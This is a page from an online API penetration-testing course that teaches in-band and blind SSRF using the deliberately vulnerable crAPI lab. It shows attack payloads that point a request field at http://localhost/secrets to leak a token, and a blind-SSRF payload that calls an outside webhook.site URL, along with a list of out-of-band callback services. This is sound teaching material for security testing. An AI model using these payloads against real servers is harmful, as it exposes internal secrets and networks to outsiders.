Online Courses
API Penetration Testing Course
Online Courses
API Penetration Testing Course
  • Introduction
  • Setting Up
    • Tools
    • Hacking Lab
  • API Reconnaissance
    • Introduction to API Reconnaissance
    • Passive Reconnaissance
      • Google Dorking
      • GitDorking
      • TruffleHog
      • API Directories
      • Shodan
      • The Wayback Machine
    • Active Reconnaissance
      • Nmap
      • OWASP Amass
      • Directory Brute-force with Gobuster
      • Kiterunner
      • DevTools
      • Directory Brute-Forcing
  • Endpoint Analysis
    • Reverse Engineering an API
    • Excessive Data Exposure
    • Assessment
  • Scanning APIs
    • Finding Security Misconfigurations
    • Scanning APIs with OWASP ZAP
    • Assessment
  • Authentication Attacks
    • Classic Authentication Attacks
      • Note on Base64 Encoding
    • Token Attacks
    • Assessment
  • Exploiting API Authorization
    • Exploiting API Authorization
    • Broken Object Level Authorization (BOLA)
    • Broken Function Level Authorization (BFLA)
    • Assessment
  • Improper Assets Management
    • Improper Assets Management
    • Finding Improper Assets Management Vulnerabilities
    • Assessment
  • Mass Assignment
    • Mass Assignment Attacks
    • Other Mass Assignment Vectors
    • Hunting for Mass Assignment
    • Assessment
  • Exploiting Server-Side Request Forgery
    • Server-Side Request Forgery
    • Types of SSRF
    • Ingredients for SSRF
    • Testing for SSRF
    • Assessment
  • Injection Vulnerabilities
    • Testing for Injection Vulnerabilities
    • Discovering Injection Vulnerabilities
      • SQL Injection Metacharacters
      • NoSQL Injection
      • OS Injection
    • Fuzzing Wide with Postman
    • Fuzzing Deep with WFuzz
    • Assessment
  • Evasion and Combining Techniques
    • Evasive Maneuvers
    • Combining Techniques
Powered by GitBook
On this page
  • In-Band SSRF Example
  • Intercepted Request
  • Attack
  • Response
  • Blind SSRF Example
  • Intercepted Request
  • Attack
  • Response
  • Attack
  1. Exploiting Server-Side Request Forgery

Types of SSRF

PreviousServer-Side Request ForgeryNextIngredients for SSRF

Last updated 1 year ago

There are two types of SSRF vulnerabilities, In-Band SSRF and Blind SSRF. In-Band SSRF, means that the server responds with the resources specified by the end user.

If the attacker specifies the payload as to a server with an In-Band SSRF vulnerability the server would make the request and respond to the attacker with information served from google.com.

Blind SSRF takes place when the attacker supplies a URL and the server makes the request but does not send information from the specified URL back to the attacker. In the case of Blind SSRF, you would need a web server that will capture the request from the target to prove that you forced the server to make the request.

In-Band SSRF Example

For an In-Band SSRF, a URL is specified as an attack. The request is sent and the content of your supplied URL is displayed back to you in a response.

Intercepted Request

POST api/v1/store/products
headers…
{
    "inventory":"http://store.com/api/v3/inventory/item/12345"
}

Attack

POST api/v1/store/products
headers…
{
    "inventory":"§http://localhost/secrets§"
}

Response

HTTP/1.1 200 OK
headers...
{
    "secret_token":"crapi-admin"
}

Once you have discovered an In-Band SSRF vulnerability you could leverage control over the URL to scan the internal network environment, gather sensitive information from the localhost, or attempt to perform a remote code execution attack.

Blind SSRF Example

Blind (or Out of Band) SSRF takes place when a vulnerable server performs a request from user input but does not send a response back to the user indicating a successful attack. The app does not provide an unusual response to the user, but the server does make the request to the URL specified by the attacker. In this case, to know if the request was made you will need to have some control over the web server that is specified in the attack.

Intercepted Request

POST api/v1/store/products
headers…
{
    "inventory":"http://store.com/api/v3/inventory/item/12345"
}

Attack

POST api/v1/store/products
headers…
{
    "inventory:"§http://localhost/secrets§"
}

Response

HTTP/1.1 200 OK
headers...
{}

Attack

POST api/v1/store/products
headers…
{
    "inventory":"§https://webhook.site/306b30f8-2c9e-4e5d-934d-48426d03f5c0§"
}

In the response body, I have emulated what could be a web server that could be a part of the crAPI architecture. This URL can be leveraged for both In-Band and Blind SSRF attacks.

Now that we have reviewed typical SSRF attacks, you will need to know the types of requests to look for when searching for vulnerabilities.

In this case, the response is returned and we do not have any indication that the server is vulnerable. Instead of , we will need to provide the URL to a web server that will let us see if a request is actually made. Burp Suite Pro has a great tool called Burp Suite Collaborator. Collaborator can be leveraged to set up a web server that will provide us with the details of any requests that are made to our random URL. To stick with free tools, we will leverage . You can also use one of these other free sites:

By navigating to a random URL will be created. You can then use that randomized URL as a payload and track it to see if any requests are made to it. So, our Blind SSRF attack would look more like this.

Once we submit this request we will not depend on the response, instead, we will check for any new requests.

I chose to demonstrate SSRF using because it is free, does not require an account, and allows you to create custom responses. You can use the edit button (top right) to create your own custom response.

http://google.com
http://localhost/secrets
https://webhook.site
http://pingb.in/
https://requestbin.com/
https://canarytokens.org/
webhook.site
webhook.site
webhook.site